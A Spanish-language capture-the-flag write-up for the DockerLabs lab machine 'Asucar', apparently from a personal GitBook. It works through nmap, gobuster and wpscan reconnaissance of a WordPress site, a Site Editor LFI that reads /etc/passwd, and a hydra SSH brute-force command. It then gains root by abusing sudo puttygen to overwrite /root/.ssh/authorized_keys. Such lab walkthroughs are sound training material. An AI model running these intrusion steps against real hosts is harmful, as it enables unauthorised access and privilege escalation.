> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/asucar.md).

# Asucar

## Maquina

<figure><img src="/files/VUz2DdQLYGJDtT9V7V1Z" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 64:44:10:ff:fe:17:28:06:93:11:e4:55:ea:93:3b:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK2mR4ZHERhhZkS6oA/37T+5m7Kv7i6Bzxx5P62opMNRmFStGK9uXi0hybtfyK6LhU0llQjBm2Yok45ExbRDP78=
|   256 2d:aa:fb:08:58:aa:34:8d:4f:8a:71:b9:e4:b5:99:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDl/MgMW7LMnrd5ESXJMi5ReeYP9/NJEFB/UkyYaWUVu
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Asucar Moreno
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.59 (Debian)
|_http-generator: WordPress 6.5.3
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wp-content           (Status: 301) [Size: 313] [--> http://172.17.0.2/wp-content/]
/wordpress            (Status: 301) [Size: 312] [--> http://172.17.0.2/wordpress/]
/wp-includes          (Status: 301) [Size: 314] [--> http://172.17.0.2/wp-includes/]
/wp-admin             (Status: 301) [Size: 311] [--> http://172.17.0.2/wp-admin/]
/server-status        (Status: 403) [Size: 275]

===============================================================
Finished
===============================================================
```

{% hint style="info" %}
Buscamos más en profundidad
{% endhint %}

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,tar,ico,backup,css,rb,py,jpg,config,sh,js,zip,png,ini,jpeg,gif,pdf,log,txt,json,bash,gz,xml,svg,sql,php,rar,conf
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/index.php            (Status: 301) [Size: 0] [--> http://172.17.0.2/]
/wp-content           (Status: 301) [Size: 313] [--> http://172.17.0.2/wp-content/]
/wordpress            (Status: 301) [Size: 312] [--> http://172.17.0.2/wordpress/]
/license.txt          (Status: 200) [Size: 19915]
/wp-includes          (Status: 301) [Size: 314] [--> http://172.17.0.2/wp-includes/]
/wp-login.php         (Status: 200) [Size: 7464]
/readme.html          (Status: 200) [Size: 7401]
/wp-trackback.php     (Status: 200) [Size: 136]
/wp-admin             (Status: 301) [Size: 311] [--> http://172.17.0.2/wp-admin/]
/xmlrpc.php           (Status: 405) [Size: 42]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://asucar.dl/wp-login.php?action=register]
/server-status        (Status: 403) [Size: 275]

===============================================================
Finished
===============================================================
```

### Web

En primer lugar tendremos que editar el fichero /etc/hosts para poder acceder a la web

<figure><img src="/files/Oaf7J2fT5pfeBdiK8FSm" alt=""><figcaption></figcaption></figure>

### Wpscan

```bash
sudo wpscan --url http://asucar.dl/ -e u,vp,vt --api-token XXX -o wpscan.txt
```

{% hint style="info" %}
La opción `-e` sirve para enumerar `u` usuarios y `vp` Plugins vulnerables y `vt` Themes vulnerables `-o` para exportar
{% endhint %}

{% hint style="warning" %}
Necesario el uso de la API
{% endhint %}

```
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://asucar.dl/ [172.17.0.2]
[+] Started: Mon Aug 19 22:06:55 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.59 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://asucar.dl/xmlrpc.php
 | Found By: Link Tag (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://asucar.dl/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://asucar.dl/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://asucar.dl/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.3 identified (Insecure, released on 2024-05-07).
 | Found By: Rss Generator (Passive Detection)
 |  - http://asucar.dl/index.php/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
 |  - http://asucar.dl/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.5.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://asucar.dl/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://asucar.dl/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | [!] Directory listing is enabled
 | Style URL: http://asucar.dl/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://asucar.dl/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'


[i] Plugin(s) Identified:

[+] site-editor
 | Location: http://asucar.dl/wp-content/plugins/site-editor/
 | Last Updated: 2017-05-02T23:34:00.000Z
 | [!] The version is out of date, the latest version is 1.1.1
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
 |     References:
 |      - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
 |      - https://seclists.org/fulldisclosure/2018/Mar/40
 |      - https://github.com/SiteEditor/editor/issues/2
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://asucar.dl/wp-content/plugins/site-editor/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://asucar.dl/wp-content/plugins/site-editor/readme.txt

[i] No themes Found.

[i] User(s) Identified:

[+] wordpress
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://asucar.dl/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 22

[+] Finished: Mon Aug 19 22:07:04 2024
[+] Requests Done: 27
[+] Cached Requests: 39
[+] Data Sent: 7.036 KB
[+] Data Received: 189.115 KB
[+] Memory used: 268.289 MB
[+] Elapsed time: 00:00:08
```

Hemos sacado:

* Usuario: wordpress
* Vulnerabilidad: Site Editor <= 1.1.1 - Local File Inclusion
* 3 vulnerabilidades de WordPress < 6.5.5

## Explotación

Lo primero que se me ocurre es buscar la vulnerabilidad de LFI, que es lo que mejor pinta tiene en mi opinion.

<figure><img src="/files/Fgh2Oc40QNA9aPrsTAB5" alt=""><figcaption></figcaption></figure>

Hacemos lo que nos dice [aquí](https://www.exploit-db.com/exploits/44340)

<figure><img src="/files/BCypCDrxzsbauRzm3Nlu" alt=""><figcaption></figcaption></figure>

Y obtenemos el fichero `passwd` con un usuario llamado `curiosito`

{% hint style="warning" %}
Al final no uso ni el usuario -> wordpress ni las vulnerabilidades de WordPress < 6.5.5
{% endhint %}

Con este usuario `curiosito` ahora se me ocurre hacer un ataque de fuerza bruta por ssh con hydra

```bash
hydra -l curiosito -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 50
```

<figure><img src="/files/rdAUx8upSdoJ5fbgPIrN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dScno2DRVl7EYVsbHCh0" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario

<figure><img src="/files/wD5cBqJYq1xorNGlRkKS" alt=""><figcaption></figcaption></figure>

Vemos que podemos generar una clave con puttygen como root

{% hint style="success" %}
Después de buscar y probar durante un rato encuentro el mode de hacerlo
{% endhint %}

1º Generamos la key en formato Openssh:

```sh
puttygen -t rsa -b 2048 -O private-openssh -o ~/.ssh/key
```

2º Metemos la key en nuestro `authorized_keys`

```bash
puttygen -L ~/.ssh/key >> ~/.ssh/authorized_keys
```

3º Se lo pasamos a root

```bash
sudo puttygen /home/curiosito/.ssh/key -o /root/.ssh/key
```

4º La transformamos en clave publica

```bash
sudo puttygen /home/curiosito/.ssh/key -o /root/.ssh/authorized_keys -O public-openssh
```

De esta manera podremos conectarnos por ssh como el usuario `root`

<figure><img src="/files/BOUAiDbuxsaPds4PipUq" alt=""><figcaption></figcaption></figure>

## Conclusion

Maquina muy entretenida, donde ves escaneo y explotación de wordpress y un escalado de privilegios usando putty, para ser una maquina de nivel medio es complicada, sobre todo si no saves usar puttygen.